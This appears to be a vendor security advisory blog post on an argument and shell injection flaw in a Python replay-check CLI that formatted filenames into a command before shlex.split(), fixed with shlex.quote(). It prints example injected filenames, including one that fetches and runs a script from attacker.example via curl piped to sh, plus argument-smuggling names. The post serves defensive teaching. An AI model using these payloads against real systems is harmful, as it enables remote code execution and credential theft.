Back to Blog
critical SEVERITY9 min read

{sample} Placeholder in shlex.split() Lets Filenames Inject Args

A protocol replay-check CLI built its subprocess argument list by calling `str.format()` on a user-supplied `--command` template and then handing the result to `shlex.split()`, so a sample filename containing spaces, quotes, or shell metacharacters could split into extra argv entries — or execute as shell code when the template wrapped the placeholder in `sh -c`. The fix wraps the interpolated path in `shlex.quote()` before formatting, so the path always survives `shlex.split()` as a single toke

O
By Orbis AppSec
Published September 18, 2026Reviewed September 18, 2026

Answer Summary

The affected code is the protocol replay-check CLI's `main()` routine (first-party code, no package or version range), which resolved sample paths from the filesystem and interpolated them into the `--command` template via `args.command.format(sample=str(sample))` before `shlex.split()`. An attacker who could place a file in the samples directory with a name like `cap; curl evil.sh | sh` or `--out=/etc/cron.d/x` could inject additional command-line arguments into the replay tool, and achieve full command execution whenever the template routed the placeholder through a shell (for example `sh -c "replay {sample}"`). The fix interpolates `shlex.quote(str(sample))` instead, guaranteeing the path collapses into one argv token and neutralizing shell metacharacters; there is no released version number because this is a first-party fix commit. The weakness is CWE-78 (OS Command Injection).

Vulnerability at a Glance

cweCWE-78
fixInterpolate `shlex.quote(str(sample))` so the path is always a single, metacharacter-safe token
riskA crafted filename in the samples directory becomes extra argv entries or shell code executed with the privileges of the replay-check process
languagePython
root cause`args.command.format(sample=str(sample))` interpolated a filesystem-derived path into a command string before `shlex.split()` tokenized it
vulnerabilityOS command / argument injection via unquoted path interpolation into a command template

Summary

A protocol replay-check CLI built its subprocess argument list by calling str.format() on a user-supplied --command template and then handing the result to shlex.split(), so a sample filename containing spaces, quotes, or shell metacharacters could split into extra argv entries — or execute as shell code when the template wrapped the placeholder in sh -c. The fix wraps the interpolated path in shlex.quote() before formatting, so the path always survives shlex.split() as a single token.

Introduction

The vulnerable code looks safe at a glance, and that is exactly what makes it worth studying.

A protocol reverse-engineering toolkit ships a replay-check utility: you point it at a directory of captured samples, give it a --command template containing a {sample} placeholder, and it runs that command once per sample, counting how many exit with status 0. The implementation does the two things Python developers are taught to do — it uses shlex.split() rather than string concatenation, and it calls subprocess.run() with a list argument instead of shell=True. No os.system(), no shell=True, no obvious red flag.

The flaw is in the ordering. Inside main(), the loop over samples performs str.format() before shlex.split():

for sample in samples:
    command = shlex.split(args.command.format(sample=str(sample)))

By the time shlex.split() sees the string, the filesystem-derived path is already indistinguishable from the operator's own template text. shlex.split() is a lexer, not a sanitizer — it happily interprets quotes and whitespace that came from a filename as syntax. And because operators routinely write templates like sh -c "replay {sample}" when the replay tool needs a pipeline or a redirect, the tokens frequently end up back inside a shell after all.

Anyone writing "run this command once per file" tooling — test harnesses, fuzzing corpora runners, media transcoders, CI shims — has probably written this exact three-line pattern.

Affected Versions

Affected not applicable (first-party code) — the replay-check CLI's main() sample loop
Fixed in not applicable (first-party code); corrected in the fix commit that quotes the interpolated sample path
Ecosystem N/A (Python script in a first-party skills toolkit)
CVE / GHSA not assigned
CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

There is no package version to upgrade to. If you maintain a fork or a copy of this replay-check script — or any script with the same format()-then-shlex.split() shape — the fix has to be applied in place.

The Vulnerability Explained

The vulnerable pattern

Stripped to its essentials, the pre-fix loop was:

passed, failed = 0, []
for sample in samples:
    command = shlex.split(args.command.format(sample=str(sample)))
    result = subprocess.run(command, capture_output=True, timeout=args.timeout)
    ok = result.returncode == 0

samples is produced by walking the samples directory, so each sample is a path the script did not choose and did not validate. str(sample) converts it to text. args.command.format(...) splices that text into the operator's template. Only then does shlex.split() tokenize the combined string.

Two distinct things go wrong.

1. Argument injection (always present). shlex.split() splits on unquoted whitespace. A sample file named:

capture.bin --output /etc/cron.d/payload

turns the template replay --file {sample} into the argv list ['replay', '--file', 'capture.bin', '--output', '/etc/cron.d/payload']. The attacker has not executed a new program, but they have handed three extra flags to whatever replay tool the operator configured. Depending on that tool, that means arbitrary file writes, arbitrary output paths, verbosity flags that leak secrets, or a --exec/--plugin style option that itself runs code. A leading - in a filename is enough to make the path be parsed as an option rather than an operand.

2. Shell command injection (whenever the template routes through a shell). The --command template is free-form, and the common idiom for anything non-trivial is to invoke a shell explicitly:

--command 'sh -c "replay --file {sample} | grep -q OK"'

Now a sample named:

x"; curl -s http://attacker.example/s.sh | sh; echo "

closes the double-quoted shell string, appends its own commands, and reopens the quote so tokenization still succeeds. shlex.split() produces a perfectly well-formed three-element argv — ['sh', '-c', 'replay --file x"; curl ... | sh; echo "'] — and subprocess.run() executes sh with an attacker-authored script body. Full command execution, as the user running the replay check, with no shell=True anywhere in sight.

How an attacker gets a file into the samples directory

This is the part that turns a theoretical issue into a critical one. Sample corpora for protocol reverse engineering are, by definition, collected from elsewhere: pcaps pulled from a capture host, corpora unpacked from an archive, artifacts downloaded from a CI job, a shared network mount, or a fuzzer's output directory. Any of those paths lets an attacker control a name, which is all that is required — the file's contents are irrelevant to the exploit.

The same is true for the directory names the traversal walks, since a nested directory with a metacharacter in its name lands in the interpolated path just as readily as a file.

Impact

Because the replay check is the kind of tool that runs unattended in CI or on an analyst's workstation, the blast radius is:

  • Code execution in the CI runner or analyst machine, inheriting credentials, SSH keys, and cloud tokens available to that process.
  • Silent tampering with the result set. The loop records success purely as result.returncode == 0, so an injected ; true makes every sample "pass" and the passed/failed tally becomes a lie — a validation harness that reports green while validating nothing.
  • Bypass of the args.timeout guard. The timeout applies to the process subprocess.run() starts; a backgrounded injected command (& sleep 9999 &) outlives it.

The Fix

The change is one call, in exactly the right place:

# Before
command = shlex.split(args.command.format(sample=str(sample)))

# After
command = shlex.split(args.command.format(sample=shlex.quote(str(sample))))

shlex.quote() is the inverse of shlex.split(): it returns a string that the lexer will read back as one single token, wrapping the value in single quotes and escaping any embedded single quote. Applying it to str(sample) before format() means the path is already lexically inert by the time it becomes part of the command string.

Walking through the two attack cases with the fix in place:

  • The name capture.bin --output /etc/cron.d/payload becomes 'capture.bin --output /etc/cron.d/payload'. shlex.split() now yields a single argv element containing that literal text, so the replay tool receives one (nonexistent) filename and exits non-zero. No extra flags.
  • The name x"; curl ... | sh; echo " becomes 'x"; curl ... | sh; echo "'. Inside a sh -c template the single quotes suppress every metacharacter, so the shell sees one ugly-but-harmless argument instead of a command list. And if the filename itself contained a single quote, shlex.quote() escapes it as '"'"' rather than letting it terminate the quoting.

Why one line is sufficient here: the dangerous behaviour was never subprocess.run() — that call already avoids shell=True and already takes a list. The dangerous behaviour was the tokenizer being fed attacker-influenced syntax. Neutralizing the value at the point of interpolation removes the attacker's ability to influence tokenization at all, which simultaneously closes the argument-injection and the shell-injection paths.

Two notes on residual sharp edges, since this fix changes observable behaviour:

  • Templates must now reference the placeholder bare. replay --file {sample} is correct. replay --file "{sample}" will produce a token containing literal double quotes around the quoted path, because shlex.quote() supplies its own quoting. Any template in documentation, CI config, or muscle memory that pre-quotes {sample} needs updating.
  • A structurally stronger variant exists. Splitting args.command first and then replacing the {sample} token inside the resulting argv list makes "the path is exactly one argument" a property of the data structure rather than a property of correct quoting. Combined with rejecting sample names that begin with -, that removes the remaining option-lookalike concern for tools that use --prefixed operands. The shipped fix addresses the injection; this is the belt-and-braces version for anyone hardening a similar harness.

Key Takeaways

  • shlex.split() is a lexer, not a sanitizer. Calling it does not make a command string safe; it only converts syntax into structure. Whoever controls the syntax controls the structure.
  • Order matters more than the API choice. format()-then-split() is injectable. split()-then-substitute, or quote()-then-format()-then-split(), is not. The same three functions, different sequence, opposite security outcome.
  • shell=False is not a defence when the command template can name a shell. A --command value of sh -c "…{sample}…" reintroduces a shell that subprocess.run() knows nothing about.
  • Filenames from a sample corpus are untrusted input. The replay check never reads the malicious file's contents — the name alone, obtained by directory traversal, is the entire attack surface. That includes nested directory names.
  • A harness whose success signal is result.returncode == 0 can be made to lie. Injection into a validation loop does not just execute code; it corrupts the passed/failed tally the whole exercise depends on.

How Orbis AppSec Detected This

  • Source: sample and directory names discovered by filesystem traversal over the samples directory, converted to text via str(sample) and interpolated through str.format() into the operator-supplied --command template.
  • Sink: subprocess.run() invoked with the argv list produced by shlex.split() — a sink that is also reachable as a real shell whenever the template's first token is sh/bash with -c.
  • Missing control: no quoting or escaping of the interpolated path before tokenization, and no rejection of names containing whitespace, quote characters, shell metacharacters, or a leading -.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), with an argument-injection component.
  • Fix: the interpolated sample path is now passed through shlex.quote() before str.format(), so shlex.split() always resolves it to a single, metacharacter-free argv token.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This finding is a good reminder that "we don't use shell=True" is an incomplete answer. The replay-check loop avoided every obvious anti-pattern and was still injectable, because the untrusted sample path was spliced into a command string by str.format() before shlex.split() had a chance to tokenize it — and because the free-form --command template routinely puts a shell back in the loop via sh -c.

The remediation is a single shlex.quote() around str(sample), applied at the interpolation point rather than the execution point. No CVE or GHSA was assigned, and there is no version to upgrade to; if you maintain a copy of this replay-check script, or any harness that formats discovered file paths into a command template, check the order of your format() and split() calls today.

Prevention and further reading

Frequently Asked Questions

Why was this exploitable when `subprocess.run()` was called without `shell=True`?

Because the injection happened one layer earlier, at `shlex.split()`. A filename containing spaces or quotes was tokenized into several argv entries, letting an attacker append flags to the replay tool — and if the `--command` template was something like `sh -c "replay {sample}"`, the metacharacters reached a real shell and executed.

Does `shlex.quote(str(sample))` break templates that already wrap `{sample}` in quotes, such as `replay -f "{sample}"`?

Yes, it changes the literal text: `shlex.quote` adds its own single quotes, so a template with pre-quoted placeholders produces a token containing literal quote characters. Templates should now reference the placeholder bare, as `{sample}`, and let `shlex.quote` handle the quoting.

Is quoting enough, or should the sample path be substituted after `shlex.split()`?

Quoting fixes the tokenization and shell-metacharacter problem, which was the vulnerability. A stricter design is to split the template first and replace the `{sample}` token inside the resulting argv list, which makes single-token substitution structural rather than dependent on correct quoting, and to additionally reject sample names starting with `-`.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5

Related Articles

high

package_abridge.js Command Injection via Unsanitized CLI Arguments

A high-severity command injection vulnerability in a build script allowed attackers who control CLI arguments to execute arbitrary shell commands by injecting metacharacters into an unvalidated parameter. The fix validates incoming CLI arguments and rejects those containing dangerous shell metacharacters before they reach command execution.

critical

shell-quote 1.8.3: Line Terminator Command Injection (CVE-2026-9277)

CVE-2026-9277 is a critical command injection vulnerability in shell-quote versions before 1.9.0, where unescaped line terminators allow attackers to break out of quoted strings and execute arbitrary shell commands. The fix upgrades the dependency across multiple React Native CLI packages and related libraries through npm overrides.

critical

Voice Assistant Command Injection via os.system() f-String

A critical command injection vulnerability in a voice assistant's audio playback handler allowed attackers to execute arbitrary shell commands by manipulating file paths passed to os.system(). The fix replaces shell invocation with subprocess calls and direct OS APIs, eliminating shell metacharacter interpretation entirely.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How shell injection happens in GitHub Actions workflows and how to fix it

A composite GitHub Action in `.github/actions/design-health/action.yml` interpolated `inputs.path`, `inputs.verbose`, and other values directly into `run:` shell scripts using `${{ ... }}` syntax. Because these values are substituted as raw text before the shell ever runs, an attacker-influenced input could inject arbitrary shell commands into the CI runner. The fix moves every interpolated value into `env:` blocks so the shell treats them as data, not code.

critical

JWT Authentication Disabled Signature Validation in

A critical misconfiguration in JWT authentication explicitly disabled signature validation, allowing attackers to forge valid tokens with arbitrary claims and bypass authentication entirely. The fix re-enables signature validation on all incoming bearer tokens, restoring the security boundary of the authentication layer.